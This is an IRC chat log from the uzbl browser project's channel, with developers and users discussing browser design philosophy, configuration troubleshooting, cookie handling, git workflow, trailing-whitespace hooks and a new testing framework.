12:55 < tsdh> Oh, I should have thanked L29Ah for the urlencode perl snippet, but in the mean time I already got a zsh script for doing the same...
12:58 < holizz> Has anybody else noticed how Gmail still manages to open two windows when you click links?
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13:06 < Frots> i have returned
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13:37 < Frots> screw you guys, im going home
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13:41 < mason-l> "<Frots> screw you guys, im going home" whats up this guys ass?
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13:51 < Dieterbe_> mason-l: never watched south park?
13:51 < Dieterbe_> that's like the most famous line from it :)
13:52 < mason-l> I've never missed an episode, I don't know why that didn't register.
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14:29 < bob_f> Hooray, webkit: http://www.satine.org/archives/2009/07/11/snow-stack-is-here/
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14:47 < scj> they built compiz into the browser?
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14:48 < bob_f> scj: Well, just fancy CSS effects using opengl.
14:48 < bob_f> But yeah, you would be able to do compiz-like interfaces in webpages.
14:48 < bob_f> It's gonna be pretty interesting seeing what kind of stuff people do with this.
14:56 < Dieterbe_> ugh
14:56 < Dieterbe_> you mean, how they reinvent the wheel, but in increasingly uglier (code-wise) ways?
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14:59 < scj> looks like we'll finally get a metaverse :v
15:01 < bob_f> Dieterbe_: Eh, there's nothing wrong with making the web browser a platform for everything.
15:01 < bob_f> I have no objections to a complete OS running inside the browser.
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15:17 < Dieterbe_> bob_f: really? o_O
15:19 < bob_f> Dieterbe_: Sure. If it's going to happen, it's going to happen - if all my apps run over the web and all I have is a little tablet that I carry around with me that interacts with all that, then that's just how it's going to be. So instead of fighting against it, I'd rather be a part of making it not suck. :)
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15:24 < Dieterbe_> bob_f: it sucks by design
15:24 < bob_f> Dieterbe_: in what way ?
15:25 < Dieterbe_> amount of sloc needed to perform certain "things" (read mail, read news, send message to someone, etc)
15:25 < Dieterbe_> the less sloc, the better
15:25 < bob_f> Dieterbe_: I used to agree. Then I realised, hey, computers are really fast, who cares.
15:26 < bob_f> When you have a ridiculously large amount of computing power, then who cares if you need a few MB of memory to read your mail.
15:26 < bob_f> Don't get me wrong - I still use mutt to read my mail, and I don't run gnome or anything like that, but I just don't really care anymore if I need 4 cores and 4G of RAM to watch a youtube video.
15:27 < Dieterbe_> the people who want to hack, fix bug, maintain, ... it
15:27 < Dieterbe_> i feel much more comfortable controlling and hacking in a simple enivironment instead of a bloated one
15:28 < bob_f> Eh, "bloated" is a pretty meaningless term.
15:28 < Dieterbe_> my criterium is sloc, like i already said
15:28 < rob|> well, it's not so much a matter of the actual lines of code but of the complexity that they introduce. in many cases SLOC and complexity correlate..
15:28 < bob_f> You can call Python "bloated". It's highly inefficient. Just look at how much Python does for a simple for loop that increments an integer compared to the C equivalent.
15:29 < Dieterbe_> rob|: okay, just trying to make my points clear in a simple way. of course reality is a tad more complicated
15:29 < bob_f> Yet I'm happy to sacrifice a bit of efficiency if it means my code is still going to run fast enough to be perfectly usable; especially if it means not having to deal with memory allocation etc. etc. in C.
15:31 < bob_f> Dieterbe_: But, yes, sure, if you care about less lines of code, then that's fine. But I don't see what's wrong with having a lib that does tons of stuff with lots of lines of code linked to the browser - it's not like you have to use it.
15:32 < bob_f> Besides, if you're a sane programmer, you'll lose libs to help you get your work done. And those libs need to offer more than you need if they're going to be useful to more people than just you, so of course they're going to be "bloated".
15:32 < Dieterbe_> we were talking about the "browser becomes OS" concept
15:32 < bob_f> Yup.
15:32 < bob_f> So what's wrong with the browser using a bunch of different libs and hooking them all together and just acting as the glue between them all ?
15:32 < Dieterbe_> hmmmm
15:33 < bob_f> If it's a complete applications platform, then you've got a nice platform that you can develop on and will run on everyone's computer.
15:33 < bob_f> And deployment is a non-issue.
15:34 < Dieterbe_> same story with Linux. nice platform, runs on everyones computer. deployment is only an issue because so many people are taking it in different directions.  Which is the same that will happen to any platform if it becomes widely used
15:34 < bob_f> The average home PC is still too slow for it, but in a few years or so, I don't see why it won't be a viable concept to have the OS being nothing much other than something that launches a web browser capable of doing anything today's desktop environment can do.
15:35 < rob|> bob_f: the problem is that the complexity increases ana with the probability to run into unwanted and/or almost impossible to debug side effects..
15:35 < bob_f> Hmm, I'm not sure I agree. For the web to be useful, it has to have standards. I mean, I made my website, it works just the same in IE6, uzbl and Firefox, barring a few minor exceptions.
15:35 < rob|> especially in imperative languages..
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15:36 < bob_f> Whereas if I want to write something that I can deploy on a Windows, Linux and OS X box without the user pulling their hair out, there's just no sane option. If it's an advanced webapp using standard technologies, people just need to go to a URL, and it Just Works.
15:36 < Dieterbe_> bob_f: a widespread platform, behaving 100% the same anywhere... dream on :)
15:37 < bob_f> Dieterbe_: Hey, not 100%, but it's a whole lot better than the gap between Windows and Linux, for example.
15:37 < bob_f> You just pick a subset of the technologies that behave the same on all platforms and you use that, and you profit.
15:38 < rob|> bob_f: i agree with yo, though i'm not really sure wether we want a web browser to be that platform..
15:38 < bob_f> rob|: Well, that's pretty much my point of view - I'm not trying to push this idea, I just think it's likely, especially now Google are getting involved.
15:39 < bob_f> And I'm a pragmatist, so I try to just go with the flow and adapt to whatever makes my life easiest. So if that means the web browser being The One True Platform is going to happen, I'll just follow along with that.
15:39 < bob_f> Although I'll probably still use mutt. ;)
15:40 < Dieterbe_> i'm an idealist/utopist/naive person (make your pick ;-)
15:40 < rob|> hmm, so why are you here then and not with the firefox guys? :P
15:40 < bob_f> Dieterbe_: May I ask how old you are ?
15:40 < Dieterbe_> bob_f: 24
15:40 < bob_f> Ah.
15:41 < Dieterbe_> rob|: maybe because uzbl happens to be the tool that makes (or will make) his life easiest ;)
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15:42 < bob_f> The reason I asked is because I used to have very similar opinions - hoping for and working towards utopia. And I guess around a year or two ago I just gave up on it and decided it was more profitable (in terms of my own peace of mind/ease of living) to just swallow the crap and sacrifice purity in exchange for happiness.
15:42 < bob_f> (I'm 25).
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15:43 < bob_f> But I don't mean to suggest you'll do the same, of course.
15:43 < bob_f> Or that age has really anything to do with it.
15:43 < Dieterbe_> well, what you just said sounds very recognizable
15:43 < Dieterbe_> in fact i've already made *some* sacrifices
15:44 < bob_f> I think it started to really affect me when I got this job, which was exactly one year ago today. :)
15:44 < Dieterbe_> bob_f: ... and in exchange for spare time, also i guess
15:44 < Dieterbe_> because writing everything yourself because of your ideals takes also much time :P
15:45 < bob_f> It's a little like having money - when you have none, you save every penny and cannot believe how wasteful people are. And now I earn reasonably good money, and I waste money all the time, but who cares. I never would have thought I'd think like that.
15:45 < bob_f> Heh, yes, it does.
15:45 < bob_f> Using something sub-awesome in exchange for more time to do fun things is a worthy sacrifice.
15:45 < Dieterbe_> yes. i know exactly what you mean
15:46 < Dieterbe_> but still, i like to talk about my ideals ;)
15:46 < bob_f> Hehe.
15:46 < Dieterbe_> whether i live by them or not
15:46 < bob_f> Yes, it is definitely good, otherwise we'll forget about them and become even worse. :)
15:47 < bob_f> Like Aldous Huxley saying he thought it was beneficial to take LSD or mescaline once or twice a year to remind him of certain important values.
15:47 < Dieterbe_> anyway, this is a good conclusion for the (almost pointless) discussion we just had
15:47 < bob_f> \o/
15:47 < bob_f> Yeah, I better get back to wor.
15:47 < bob_f> work
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18:08 < Frots> hi there everyone
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18:09 < Frots> any news about uzbl link following? i fucked up my mouse :P
18:09 < bob_f> Frots: Yes, you should have some scripts in /usr/share/uzbl/blah/blah/blah
18:10 < Frots> where are the scripts
18:10 < Frots> i was looking foor them but couldnt find them so quickly
18:10 < bob_f>  /usr/share/uzbl/examples/data/uzbl/scripts
18:10 < bob_f> You probably want follow_Numbers.js
18:10 < Frots> thnks
18:11 < bob_f> And then "bind fl* = script $XDG_DATA_HOME/uzbl/scripts/follow_Numbers.js %s" in your config (once you've copied the script into ~/.config/uzbl/scripts/)
18:11 < bob_f> Although I think that's already in the default config file - I didn't put it there, at least.
18:12 < Frots> thanks
18:12 < Allive> hi, somebody can help me ?
18:12 < Allive> when i start new instance of uzbl from uzbl it give me an error ** (uzbl:6291): WARNING **: init_fifo: can't create </path/to/fifo> file exists
18:12 < Allive> how can i force it work right  ?
18:13 < bob_f> Huh ?
18:13 < bob_f> Oh, I glanced away at the pretty girl walking outside, and then glanced back, and missed the first two lines you read and thought you were Frots and I got very confused.
18:13 < Allive> ))
18:13 < Frots> lol
18:13 < bob_f> Allive: Just rm /tmp/uzbl*
18:13 < Frots> pics pleasE :P
18:14 < Allive> i'll try
18:17 < Allive> bob_f, thanx, it works
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18:23 < Allive> bob_f, do you know why binding like "bind w  = scroll_vert -250" , don't work at gmail, greader ?
18:26 < bob_f> Allive: Nope, sorry.
18:26 < bob_f> Allive: By the way, I fixed the "Broken pipe" bug that my cookie daemon was doing.
18:26 < bob_f> It works great now. :)
18:27 < Allive> really ?
18:27 < Allive> i go try it
18:33 < bob_f> Cool.
18:34 < bob_f> Let me know if you have any trouble.
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18:43 < Allive> bob_f, it's very strange but, it just doesn't work at all, when i try to log in gmail, for ex. it just refresh the page
18:45 < bob_f> Allive: Hmm.
18:45 < bob_f> I haven't tested with gmail.
18:45 < bob_f> Let me try now.
18:46 < Allive> it doesn't work not only in gmail..
18:46 < bob_f> Allive: It seems to work here, but says "Oops... the system encountered a problem (#6411) - Retrying now..."
18:47 < bob_f> I think that might be a cometd problem, which I've seen elsewhere.
18:47 < bob_f> I don't know if it has anything to do with my cookies thing... Hmm.
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19:12 < Frots> hi there
19:13 < Frots> how can i start a youtube movie or whatever without a mouse
19:13 < Frots> or isnt that possible :P
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19:24 < eekee> Frots: I use a script to rip the media url from the youtube page & play it in mplayer
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19:27 < Frots> eekee: tell me more
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19:34 < eekee> Frots: I guess my solution's a bit ugly. I use youtube-dl (a python script) from a wrapper script: http://sprunge.us/eHTb
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19:34 < eekee> Frots: that's not with uzbl, I started doing that before Flash was available for 64-bit linux
19:35 < eekee> Frots: it only works for youtube
19:36 < rob|> whats up
19:38 < eekee> Frots: a friend of mine prefers yaydl to youtube-dl
19:38 < eekee> rob|: using youtube without a mouse
19:39 < eekee> oh yaydl supports a bunch of sites http://pdes-net.org/x-haui/archives/2008/08/10/yaydl_-_yet_another_youtube_downloader/index.html
19:40 < Frots> eekee: thanks
19:40 < eekee> welkom
19:40 < Frots> you speak dutch?
19:40 < eekee> no, just got in the habbit of typing welcome that way :)
19:40 < Frots> heh ok lol
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21:16 < holizz> FlySpray doesn't have any timestamps. On bugs, or comments, or anything. Also, it serves its feeds as text/html. Does this bug tracker have any features at all?
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21:19 < Dieterbe_> good evening chaps
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21:22 < holizz> Hello.
21:24 < jvogel> hai
21:27 < scj> bob_f: I got rid of gmail's #6411 error by updating libsoup to 2.27.2
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21:30 < holizz> rntz, You there? That status_top bug still giving you problems?
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21:32 < bct> holizz, the lack of timestamps bugs me too.
21:36 < bob_f> scj: Aha.
21:36 < bob_f> holizz: You are bad at reminding !
21:37 < holizz> Oh yeah. Remember to do that thing.
21:37 < bob_f> Aw, even more things to do now. :(
21:38 < holizz> Does git have any kind of patching utility? I find patch to be very primative in that it doesn't mark failed merges with <<<<<<< like git does.
21:39 < bct> git apply?
21:40 < holizz> bct, Cool, thanks.
21:40 < bob_f> And "git am" for automagical mailing list patching.
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21:43 < holizz> And I'm pretty sure there have been several new bugs reported that never appeared in the feed.
21:43 < holizz> Dieterbe, Can we have a new bug tracker pleeeeeease?
21:45 < Dieterbe> holizz: which feed?
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21:46 < holizz> Dieterbe, Now that I think about it, I removed my subscription to the Open feed because it seemed that every bug in the Open feed appeared in the Edited feed. But maybe that stopped happening.
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22:06 < github> uzbl: Abel `00z' Camarillo experimental SHA1-865abce
22:06 < github> Makefile now supports "transparently" BSD make
22:06 < github> http://bit.ly/7zh5m
22:06 < github> uzbl: Abel `00z' Camarillo experimental SHA1-d366869
22:06 < github> make domnload.sh more portable
22:06 < github> http://bit.ly/t083H
22:06 < github> uzbl: Abel `00z' Camarillo experimental SHA1-135b490
22:06 < github> more portability on shell scripts
22:06 < github> http://bit.ly/9rg74
22:06 < github> uzbl: Dieter Plaetinck experimental SHA1-e7bbad8
22:06 < github> merge 1 from the00z. examples/data/uzbl/scripts/yank.sh is still bash, this should become fixed in next merge commit
22:06 < github> http://bit.ly/BQW4K
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22:25 < github> uzbl: Dieter Plaetinck experimental SHA1-5db1976
22:25 < github> update authors file
22:25 < github> http://bit.ly/rvhVF
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22:25 < uranther> Dieterbe, you want me to delete those lines in the Makefile for the test-reports ?
22:27 < Dieterbe> uranther: if their only purpose is generating xml/html reports then yes
22:27 < uranther> k
22:29 < uranther> Dieterbe, commit 585728e9b0f9a284859cdce2d47d38d24c64ec2d pushed
22:38 < Dieterbe> bct: do you use the same testing code as uranther ?
22:38 < Dieterbe> eg are your branches compatible?
22:38 < uranther> they should be
22:38 < Dieterbe> ok
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22:40 < Dieterbe> uranther: can you explain shortly how i use the testing stuff? is it just `make test` ?
22:40 < bct> my branch contains some of uranther's code, but none of his actual commits.
22:40 < bct> if that makes a difference.
22:41 < bct> i didn't strip all the statics, for example, just the ones i needed to get rid of.
22:41 < uranther> Dieterbe, yup, make test will run the one test I made for "URI" substitution
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22:46 < Dieterbe> uranther: +    { "quit",               {close_uzbl, 0}                }, <-- please get rid of that. just learn that it's exit
22:47 < Dieterbe> if you would have documented it, it might have made a chance :)
22:47 < Dieterbe> so fix that, merge from me again and push
22:47 < Dieterbe> then i'll rediff
22:48 < uranther> k. I didn't think it needed to be documented since it's just the same as exit
22:49 < uranther> Dieterbe, pushed
22:51 < holizz> I did think that was quite cheeky when I first saw that commit. "I'm too lazy to remember that it's exit (like it is in every other programming language) so I'm going to sloc+=1".
22:52 < Dieterbe> uranther: didn't you notice when you merged from  me, the Makefile changed? you should also make those changes to tests/Makefile
22:52 < Dieterbe> -static const
22:52 < Dieterbe> +const 
22:52 < Dieterbe> ^^ extraneous space at the end
22:53 < uranther> :o
22:53 < Dieterbe> here too
22:53 < Dieterbe> -gchar* parseenv (char* string) {
22:53 < Dieterbe> +gchar* 
22:54 < Dieterbe> ..and in some other places
22:54 < holizz> You know, when I make a commit hook for the tests, I might make a hook to check there's no whitespace at the end of lines.
22:54 < uranther> k..
22:54 < Dieterbe> holizz: cool
22:55 < Dieterbe> anyway uranther i'm going to bed now. fix the Makefile and all whitespace issues and torommow i'll check your code again
22:55 < uranther> gnite
22:56 < Dieterbe> a little section (even if it only contains 1 line) in docs/CONTRIBUTING would also be useful
22:57 < uranther> alright.. I'll work on it tonight
22:57 < uranther> looks like merging from you broke the test
22:58 < Dieterbe> no, not being careful while merging broke the test
22:58 < Dieterbe> anyway, i hope i don't sound too much like a bad guy now
22:59 < uranther> I think you merged from the guy who moved expand_tempalte to expand()
22:59 < Dieterbe> i value your help (and everyones) a lot
22:59 < Dieterbe> no, i didn't do that merge yet
22:59 < Dieterbe> that one comes after i merged from you
22:59 < uranther> oh nvm
22:59 < Dieterbe> good night all !
22:59 < holizz> Oh awsome. The sample pre-commit hook checks for whitespace issues anyway.
22:59 < holizz> Night night!
23:00 < uranther> that's what happens when i'm dividing my attention, I guess..
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23:14 < holizz> Can anybody tell me if the trailing whitespace in examples/data/uzbl/forms/bbs.archlinux.org is syntactically neccessary?
23:15 < holizz> Alternatively, is there a way to have git diff-index --check ignore certain files?
23:17 < uranther> .gitignore
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23:19 < holizz> Nope. It still checks it.
23:20 < bct> you probably don't want to ignore the file anyways, wouldn't that stop git from tracking it entirely?
23:21 < holizz> Yep. I just want diff-index --check to ignore it, so I can use it to check for trailing whitespace in a pre-commit hook.
23:21 < uranther> yeah
23:21 < uranther> no idea..
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23:22 < bct> i'm not an awk expert, but i don't think the trailing space is needed.
23:23 < holizz> Does anybody actually use the form filler scripts?
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23:31 < holizz> In liue of anybody actually coming forward and saying they use the formfiller scripts, it may be safer just to make use of the .gitattributes file (I learnt something new about git today).
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23:36 < bct> neat-o.
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23:50 < uranther> holizz, I think it is MySQL that uses quit and bash uses exit, so maybe that's why it was confusing to me
23:51 < holizz> uranther, Does it now? I didn't realise any used "quit".
23:52 < uranther> yeah, mysql uses both exit and quit
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23:55 < holizz> Both? Wow, they really don't care about their SLOC, do they?
23:56 < uranther> it's 1 line? and it makes it the program more user-friendly
23:56 < uranther> -it
23:56 < holizz> "Total Estimated Cost to Develop = $ 115,157" I love sloccount's output.
23:57 < uranther> :P
23:57 < holizz> 10.23 person-months... hmm.
23:58 < uranther> One of my most productive days was throwing away 1000 lines of code. -- Ken Thompson
23:58 < uranther> :)
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00:00 < holizz> So how much should we charge for uzbl licences? I think it should be $1,000 per chair per year.
00:00 < uranther> holizz, tiered licensing is the way to go
00:01 < uranther> $50,000 for licenses to Fortune 500 companies
00:01 < holizz> uzbl Home Edition.
00:01 < holizz> uzbl Ultimate Edition.
00:01 < holizz> uzbl Arcade Edition.
00:01 < uranther> uzbl X-TREME edition
00:01 < holizz> uzbl Media Centre Edition.
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00:02 < holizz> And they're all the same thing but with different config files.
00:03 < holizz> set ultimate_edition = 1
00:03 < uranther> lol
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00:24 < uranther> holizz, what's the rationale behind removing trailing whitespace in source code?
00:25 < holizz> ... Because it's evil and will eat your children?
00:25 < uranther> how?
00:25 < holizz> It's just generally messy.
00:26 < uranther> i see
00:26 < holizz> Nobody likes messy code.
00:27 < uranther> are we gonna make a style guide? or is it too self-explanatory at this point?
00:28 < jrm8005> just follow the linux kernel style guide.
00:28 < jrm8005> don't need to write one.
00:28 < jrm8005> and trailing whitespace is BAD.
00:28 < holizz> I think it's pretty obvious what our conventions are if you just look at the code.
00:28 < jrm8005> it fucks with diffs.
00:28 < jrm8005> you can actually run a code checker before git lets you commit.
00:29 < holizz> jrm8005, That's what I told everybody to do. The sample pre-commit hook does that.
00:29 < jrm8005> indeed.
00:29 < jrm8005> git is good.
00:30 < holizz> I wonder if you can check .git/hooks/pre-commit into the tree...
00:30 < holizz> Answer: no.
00:30 < jrm8005> which is stupid.
00:31 < uranther> holizz, can you put that into CONTRIBUTING or the like?
00:31 < jrm8005> I wonder if you can tell git to use a certain hook outside of hooks
00:31 < jrm8005> via .gitconfig.
00:31 < jrm8005> then you could do it.
00:31 < holizz> uranther, That's what I did.
00:31 < uranther> cool
00:31 < uranther> this testing framework will be very nice
00:32 < bct> uranther, do you have any ideas about other areas that are easy and/or important to test right now?
00:32 < uranther> not right now
00:32 < holizz> jrm8005, I'll see what #git says.
00:32 < bct> i've got lots of tests for expand (probably some redundant ones)
00:32 < uranther> except for maybe "chain"
00:32 < jrm8005> holizz: cool, let me know
00:32 < bct> we can test some commands
00:33 < bct> chain's a good one.
00:33 < uranther> I still need to write the bugfix for chain.. i think it's fux0red or maybe that's just in master
00:33 < bct> what's wrong with it?
00:33 < bct> unfortunately a lot of our functionality is handled by webkit, and afaict that's a testing black hole
00:35 < jrm8005> bct: build it with debugging symbols?
00:35 < uranther> bct, there was an issue with :<enter>
00:35 < uranther> and :anycommandhere
00:37 < uranther> with no spaces..
00:37 < bct> jrm8005, what does that do for us?
00:37 < uranther> I fixed :<enter> but I don't think that fixed the other one, if that's still an issue (I haven't checked)
00:38 < bct> WK surely won't make things totally untestable, but if we have to write scripts that drive gdb to do it then it's hardly worth it.
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04:16 < Rodya> but it doesn't work right :(
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09:29 < Dieterbe> good morning dudes
09:30 < holizz> Hi.
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10:58 < bob_f> Hullo.
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16:54 < holizz> #uzbl is quiet today. So despite not wanting to use Flash really, I'm wondering if it's possible to use Flash in uzbl. Anybody know if it's possible?
16:54 < Dieterbe> of course it is
16:54 < Dieterbe> it has always "just worked" for me
16:55 < holizz> I'm assuming I don't put libflash.so in .mozilla/plugins like I do for Firefox.
16:56 < holizz> /usr/lib, maybe?
16:56 < bob_f> holizz: Yup, worked just fine for me.
16:57 < bob_f> I just did "apt-geit install flashplugin-nonfree" and wham.
16:57 < bob_f> It worked.
16:57 < bob_f> But then, I use a sensible OS. ;)
16:57 < bob_f> apt-get* rather.
16:58 < N30N> holizz: it finds my plugins in /usr/lib/mozilla/plugins/
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17:07 < holizz> Aha. Remembering to get rid of set disable_plugins = 1 helps.
17:07 < Phillemann> I'd like to have something like FlashBlock, though
17:07 < Phillemann> Don't know how easy that is
17:09 < holizz> How does FlashBlock work? Doesn't it just replace every Flash movie with an SWF that loads another SWF when you click it?
17:10 < bct> if that's all then it can be done with a bit of load_commit js
17:10 < bct> or load_finish, i can never remember which
17:10 < Phillemann> holizz: Why should it replace it with another swf?
17:12 < N30N> bct: you also need to watch for DOM mutations
17:12 < N30N> oh and yeah dont replace it with more flash xD
17:13 < holizz> Phillemann, I thought that was how it worked.
17:13 < N30N> Phillemann: it should be quite easy to do
17:20 < holizz> "Web Standards Evangelism ... Flash Player 9 (or above) is needed to view presentations."
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18:07 < Dieterbe> holizz> Aha. Remembering to get rid of set disable_plugins = 1 helps.
18:08 < Dieterbe> d'oh !
18:10 < dxdx> Dieterbe: hai. with this BSD-make thing i don't know what the hell to do with Makefile-new-test
18:10 < Dieterbe> dxdx: that's the whole point. Makefile-new-test has replaced Makefile ;)
18:11 < dxdx> Dieterbe: wait, what? does it? i still see the 250-char-long CFLAGS
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18:14 < Dieterbe> dxdx: oh, maybe not completely then
18:15 < Dieterbe> dxdx: i guess i didn't check carefull enough when i merged from the00z.  i suggest you merge from me , and reintroduce Makefile-new-test which hase the fixes that "got lost" yesterday
18:15 < Dieterbe> dxdx: but at least the difference between Makefile-new-test and Makefile should be smaller now ;)
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18:17 < dxdx> Dieterbe: i just merged from you (experimental) and "git log Makefile-new-test" returns only the original merge from Uli Schlachter
18:18 < uranther> sup
18:20 < Dieterbe> dxdx: uuuuuuuuuuh..... your point?
18:20 < Dieterbe> dxdx: my point is : "good stuff" may have gotten lost because of merging in 00z' stuff. if you want it back, just recreate Makefile-new-test like it was when it was best
18:21 < dxdx> Dieterbe: ooh, you mean that. right, will do
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18:28 < neldoreth> Dieterbe: "something is suckless (completely void of suck)" -> in my opinion less does not implicit without :p
18:29 < Dieterbe> sure it does
18:30 < Dieterbe> that's the definition of the less suffix afaik
18:31 < neldoreth> "The -less suffix forms adjectives from nouns and means free from, or without." oh right, i wasnt aware of that
18:32 < Dieterbe> :0
18:35 < neldoreth> i am not a linguist :p i just saw less all the time as less :|
18:36 < bct> hmm, me too. i always assumed it was "suck-less" (pronounced less) rather than "suckless" (pronounced liss)
18:36 < jrick> are we talking about suckless.org?
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18:37 < bct> i think so
18:37 < jrick> because their website says: Dedicated to software that sucks less
18:37 < jrick> so it could be both
18:38 < Dieterbe> actually the suckless.org meaning is "suck less", but to me "software that is suckless" sounds more natural
18:38 < Dieterbe> and besides, it's not sucksless.org is it :)
18:38 < jrick> nope, suckless.org
18:38 < Dieterbe> exactly
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18:42 < Dieterbe> but then again, there is no application 100% sockless (void of suck)
18:42 < bct> i interpret the domain name as an imperative rather than a claim about the contents
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18:42 < holizz> Sockless :D
18:43 < holizz> I interpret it as the verb phrase "suck less", as in "applications which suck less".
18:43 < Dieterbe> bct: aha ! that's a good point
18:45 < holizz> Dieterbe, Go register sockless.org and make that uzbl's new home.
18:46 < jrick> http://lists.suckless.org/dev/0907/0580.html ahha!
18:47 < Dieterbe> holizz: i don't get the joke. is there something more to get then a reference to socks?
18:48 < holizz> Dieterbe, It's just the best typo ever.
18:49 < jrick> I'm not wearing socks right now
18:49 < jrick> therefore, I am sockless
18:50 < holizz> Me too. We should get together and write software that socks less.
18:50 < Dieterbe> hmm i also like to be bearfooted
18:51 < Dieterbe> sockless isn't that bad actually
18:55 < bct> the corporate sockocracy has dominated our culture for too long
18:56 < jrick> i agree
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19:13 < dreadlorde> does uzbl_tabbed.py work for anyone? I can't spawn a new tag
19:21 < ruskie> yeah it does
19:22 < ruskie> lol whitespace annoyances from a python coder
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19:33 < holizz> ruskie, the most systematic abuse of whitespace was found in uzbl_tabbed. mason-l must use some kind of evil editor which puts whitespace everywhere.
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19:34 < ruskie> holizz, I consider the most systematic abuse of whitespace to be python
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19:36 < holizz> As Guido indented it.
19:38 < Dieterbe> ruskie: i think you accidentally typed an "ab" in your sentence
19:38 < Dieterbe> ruskie: heh, which makes your statement sound rather wrong ! lol !!
19:39 < ruskie> nope I didn't :)
19:39 < ruskie> just find it ironic that someone that does a lot of python complains about whitespaces
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19:40 < Dieterbe> :s
19:40 < Dieterbe> could you care to elaborate?
19:41 < ruskie> python - insists on whitespace -- c - gives a crap about whitespace
19:41 < ruskie> more or less
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19:42 < tsdh> Hi. Is there a way to paste something from the clipboard to into the uzbl status bar's input area?
19:43 < bct> shift+insert
19:43 < bct> or maybe just insert?
19:44 < Dieterbe> ruskie: so? that's _excatly_ why python people are more sensitive about being messy with whitespace. which is the opposite of what you're saying
19:44 < ruskie> not really
19:45 < ruskie> anyway as said I find it ironic :)
19:46 < Dieterbe> you find it ironic that pythoners complain about it, ergo you expect them to _not_ complain about it, hence to not care much about it
19:46 < ruskie> no I find it ironic they compalin about it in a non-whitespace annoying language
19:47 < Dieterbe> that's not ironic. that's natural
19:47 < Dieterbe> if you are picky about details in language A, you'll probably also be picky in language B
19:48 < tsdh> bct: Oh, indeed.  I only tried the middle mouse button.
19:48 < ruskie> correction: if langA is picky about details then you'll try to map that pickyness to everything else
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19:51 < bct> are we talking about trailing whitespace?
19:51 < bct> because python doesn't care about that.
19:51 < bct> it's basic cleanliness, not a language thing.
19:52 < ruskie> I didn't say I'm against it
19:52 < ruskie> and yeah saw those trailing whitespaces when I was adding the font_family stuff
19:53 < ruskie> hopefully I'll be able to do something with that this weekend... cause this week is hell at work
19:53 < bct> i saw that too, how did you get that much whitespace?
19:53 < bct> do you just compulsively tap the spacebar?
19:53 < bct> :P
19:54 < ruskie> ???
19:54 < bct> there were about 5 spaces at the end of every line
19:54 < bct> maybe i'm thinking of somebody else's patch
19:55 < ruskie> mine is in FS#62
19:55 < ruskie> I probably kept them there since I copy pasted stuff from above or something
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20:44 < Dieterbe> http://www.ohloh.net/p/uzbl/factoids/
20:45 < Dieterbe> This is one of the largest open-source teams in the world, and is in the top 2% of all project teams on Ohloh. 
20:45 < Dieterbe> say what ? o_O
20:46 < holizz> Haha. I was reading that too. You got linked from K.Mandla's blog?
20:47 < bct> lowest 10% for ratio of comments to code :P
20:47 < Dieterbe> holizz: linked? no, inspired by :)
20:48 < holizz> That's what I meant. What's up with Ohloh claiming _everything_ has the largest open source team?
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20:49 < dum8d0g> hi folks
20:49 < dum8d0g> first: I want to thank you for those great ideas in uzbl
20:50 < dum8d0g> second: how do you solve cookies in such complicated things like gmail or google reader?
20:50 < holizz> Cookies should work in Google accounts using the latest from Dieterbe/experimental and cookies.py.
20:51 < dum8d0g> thanks.. i'll try
20:52 < holizz> Dieterbe, Perhaps Ohloh just can't grasp that while uzbl might be in the top 2%, there's a whole lot of open source projects out there with 0 or 1 maintainers.
20:52 < Dieterbe> holizz> That's what I meant. What's up with Ohloh claiming _everything_ has the largest open source team? <-- it does? well now i'm disappointed..
20:53 < holizz> Dieterbe, It claimed LXDE was in the top 2% with 25 contributors.
20:53 < holizz> "Across all C projects on Ohloh, 20% of all source code lines are comments. For uzbl, this figure is only 7%."
20:53 < Dieterbe> holizz: lxde has a lot of contributors over a larger timespan
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20:54 < dum8d0g> THANKS! it works great :-) (cookies)
20:55 < L29Ah> cookie
20:55 < holizz> dum8d0g, Glad it works. Any bugs with cookies.py, come and tell me.
20:55 < L29Ah> i heard "cookies"
20:55 < dum8d0g> ok
20:55 < dum8d0g> :)
20:55 < L29Ah> i want some cookies too!
20:55 < dum8d0g> btw, does uzbl need some artwork?
20:55 < dum8d0g> i can do that..
20:56 < dum8d0g> (sort of)
20:56 < L29Ah> is there an improved version of cookies.py?
20:57 < Dieterbe> dum8d0g: what artwork are you thinking of?
20:57 < holizz> L29Ah, Yeah. Have you pulled lately? I updated it a couple of days ago. It's in Dieterbe/experimental now.
20:57 < L29Ah> oh
20:57 < dum8d0g> Dieterbe: dont know.. just asking
20:57 < L29Ah> i should write ebuild
20:58 < dum8d0g> you should
20:59 < Dieterbe> there are ebuilds out there already
20:59 < joyfulgirl> holizz: Actually, I'm getting an IndexError with cookies.py (pulled today). Apparently, sys.argv[11] (called to set a path in line 10) is out of range.
20:59 < dum8d0g> Dieterbe: where?
21:00 < L29Ah> looks like devnull one pulls from master
21:00 < bct> joyfulgirl, did you remake uzbl too?
21:00 < bct> uzbl passes cookie handlers a new argument now.
21:01 < Dieterbe> dum8d0g: google, uzbl wiki, ..
21:01 < dum8d0g> does somebody here use google reader?
21:01 < dum8d0g> Dieterbe: thx
21:02 < L29Ah> ebuild for experimental branch is pushed to booboo overlay
21:02 < holizz> dum8d0g, I do. But I'm trying out canto ATM.
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21:03 < joyfulgirl> bct: apparently not. *whoops*.
21:04 < dum8d0g> holizz: when I click on some link going outside, it will spawn two window of uzbl, did you noticed something like that?
21:04 < holizz> Whaaat? I registered on Ohloh, and my Kudo rank went down from 6 to 1! No fair! I don't know WTF kudo is, but I want it back!
21:04 < Dieterbe> lol
21:04 < Dieterbe> PWND
21:05 < joyfulgirl> holizz: Yeah, I think that's their modus operandi
21:06 < holizz> dum8d0g, I only noticed that in Gmail. It gives you a pop-up saying "Grr! pop-up blocker blah blah blah", right?
21:06 < joyfulgirl> holizz: They inflate your score (and probably any related projects' scores) until you sign up
21:06 < holizz> joyfulgirl, The only winning move is not to play.
21:06 < Dieterbe> joyfulgirl: that's quite weird
21:07 < Dieterbe> btw i _think_ my kudos rank is the same as before
21:07 < joyfulgirl> Not really. They want people to use their services. I mean, I have a mid-range rank on there, and I seriously doubt anybody's voted for my code, since there's not particularly much of it out there.
21:08 < bob_f> I guess my kudos got so high they had to reset it to 0.
21:08 < holizz> bct, Thank you! Now I feel valued.
21:08 < dum8d0g> holizz: no.. it doesnt
21:08 < dum8d0g> holizz: just spawns two windows
21:08 < Dieterbe> good point. i had 9 or so without any particular reason either
21:09 < Dieterbe> now i have 1. anyway i don't care
21:09 < bob_f> Wow, I have 8.
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21:09 < dum8d0g> what is ohloh?
21:09 < holizz> dum8d0g, That's weird. Only on Reader?
